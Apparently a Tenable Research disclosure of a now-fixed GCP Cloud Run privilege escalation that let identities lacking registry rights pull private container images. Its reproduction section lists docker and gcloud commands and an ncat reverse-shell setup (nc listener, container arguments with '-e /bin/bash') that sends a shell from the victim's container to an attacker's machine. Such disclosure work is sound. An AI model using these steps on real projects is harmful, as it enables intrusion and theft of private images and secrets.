ImageRunner: A Privilege Escalation Vulnerability Impacting GCP Cloud Run

Tenable Research discovered a privilege escalation vulnerability in Google Cloud Platform (GCP) that is now fixed and which we dubbed ImageRunner. At issue are identities that lack registry permissions but that have edit permissions on Google Cloud Run revisions. The vulnerability could have allowed such an identity to abuse its Google Cloud Run revision edit permissions in order to pull private Google Artifact Registry and Google Container Registry images in the same account.
What are Cloud Run, Container Registry and Artifact Registry?
Cloud Run, Container Registry, and Artifact Registry are key components of Google's Cloud ecosystem for deploying and managing containerized applications. Cloud Run is a fully managed service for running containerized applications in a scalable, serverless environment.
Container Registry, an older service, was deprecated in favor of Artifact Registry as of March 18, 2025. While both services are designed to store and manage container images, Artifact Registry is the next-generation solution with broader functionality and support for multiple artifact types beyond container images, such as Maven and npm packages.
When Cloud Run is being used, it retrieves a container image stored in Artifact Registry and uses it to deploy your application. It manages the infrastructure, scaling and execution environment, allowing you to run your application in a serverless manner without having to worry about the underlying systems.
ImageRunner vulnerability details
When deploying a Cloud Run service, a new revision is created. A Cloud Run revision represents a specific version of a user’s deployed service in Google Cloud Run. Each time you deploy or update a service (such as changing the code or configuration), a new revision is created.
When users deploy their Cloud Run revision, they can choose the image to deploy from a Container Registry, an Artifact Registry or Docker Hub by specifying the container image URL. Cloud Run needs IAM permissions to pull container images from the container or artifact registries, and it uses a service agent to do so.
A service agent is a special type of service account created and managed by Google Cloud. It acts as the “worker” that handles essential operations, such as in Cloud Run -- pulling container images from registries like Google Container Registry or Artifact Registry to deploy the user’s application.
Abusing the deployment process
If an attacker gains certain permissions within a victim’s project – specifically run.services.update and iam.serviceAccounts.actAs permissions – they could modify a Cloud Run service and deploy a new revision. In doing so, they could specify any private container image within the same project for the service to pull. This is where it gets messy: Attackers could access sensitive or proprietary images stored in a victim’s registries, bypassing these two permissions required to pull private images from the registry: Storage Object Viewer or Artifact Registry Reader.
An attacker can do so by leveraging the ability to add instructions during the service update – more specifically, by adding malicious instructions.
These instructions can be injected as arguments or commands in the service configuration. When the updated container runs, the malicious code executes, potentially compromising the container image. For example, the attacker could use their code to inspect the contents of the private image, extract secrets stored within it, or even exfiltrate sensitive data.
The following is an example of an ncat image pull. Netcat (often abbreviated as ncat) is a powerful command-line networking tool used for creating TCP/UDP connections, transferring data, port scanning, and acting as a basic server or client for debugging. To illustrate an attacker using malicious instructions to take over an image, we used this image as a convenient example of a “private image” that is present in the victim’s Container Registry. In the following example, the attacker can add malicious instructions in the form of a reverse connection to their machine, to take over the image and inspect its contents, secrets, and more:
Nonetheless, any private image can be attacked by injecting malicious instructions and tailoring a payload to the benefit of the attacker.
This vulnerability arises because the service agent responsible for pulling the images executes these tasks. The service agent associated with Cloud Functions (identified by an account like [email protected]) will dutifully pull the image specified in the updated service configuration. The Cloud Function’s service agent holds the required storage and Artifact Registry permissions. While this behavior is necessary for Cloud Run to function, it can be abused if permissions are not tightly controlled.
Due to security reasons, we did not test and confirm it, but since the service agent of Cloud Functions is internal, we assume it might have permissions to internal Google images as well.
An important note to clarify: As you would expect, the only permissions a user needs to be able to deploy a Cloud Run revision are run.services.update and iam.serviceAccounts.actAs, but the private image-pulling that GCP needs for the Cloud Run orchestration process should require additional privileges.
Full attack reproduction
For the sake of the example, an attacker would attack a “ncat” image and inject malicious instructions to it:
- As an example, run the following commands to pull an ncat image, and push it to your Google Cloud Registry which will act as the victim’s repository. The ncat image will act as the victim's private image:
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest
- Control an identity with the following permissions: run.services.update and iam.serviceAccounts.actAs permissions
- Update a running Cloud Run service, and edit a new revision
- Specify any private container you want to hijack in the same project - for the proof-of-concept we used gcr.io/{project-name}/ncat:latest
- Use “nc -lnvp {port}” to listen on the attacker’s machine you want to get the reverse shell to
- Specify the following in the container arguments fields: {Your nc listener ip address}, {the port you listen on}, -e, /bin/bash
- You should be running on the container that was deployed with the private image that you shouldn’t be able to access
The vulnerability fix and extra steps taken by Google to enhance overall GCP security
In response to this discovery, GCP now makes sure that the principal (user or service account) creating or updating a Cloud Run resource needs explicit permission to access the container image(s). When using Artifact Registry, you should ensure the principal has the Artifact Registry Reader (roles/artifactregistry.reader) IAM role on the project or repository containing the container image(s) to deploy.
The breaking change was 100% rolled out to production on January 28, 2025. Google sent a Mandatory Service Announcement to affected Project, Folder, and Organization owners during the last week of November 2024, while the Release Notes warned users of the breaking change.
After this fix, Cloud Run checks to confirm that the deployer has read access to the image.
ImageRunner as an example of the Jenga® concept
ImageRunner is an example of a concept we at Tenable Research call “Jenga®”, just like the game. As part of Tenable Research efforts to discover vulnerability patterns in the cloud, we unveiled this new concept at the recent BlackHat USA 2024 conference. The “Jenga®” concept is present in the major cloud providers. Here’s the gist: Cloud providers build their services on top of their other existing services. Sometimes they create “hidden services.” If one service gets attacked or is compromised, the other ones built on top of it inherit the risk and become vulnerable as well. This scenario opens the door for attackers to discover novel privilege escalation opportunities and even vulnerabilities, and introduces new hidden risks for defenders.
For more information about the Jenga® concept and a new tool called Jenganizer that we released to mitigate its risk, read our blogs on the Google CloudImposer vulnerability and Google ConfusedFunction vulnerability. These blogs also discuss the issue of hidden cloud services. Stay tuned for our BlackHat talk recording about CloudImposer.
Learn more about how Tenable can help you improve your GCP security.
(Jenga® is a registered trademark owned by Pokonobe Associates.)
- Cloud
- Research
- Cloud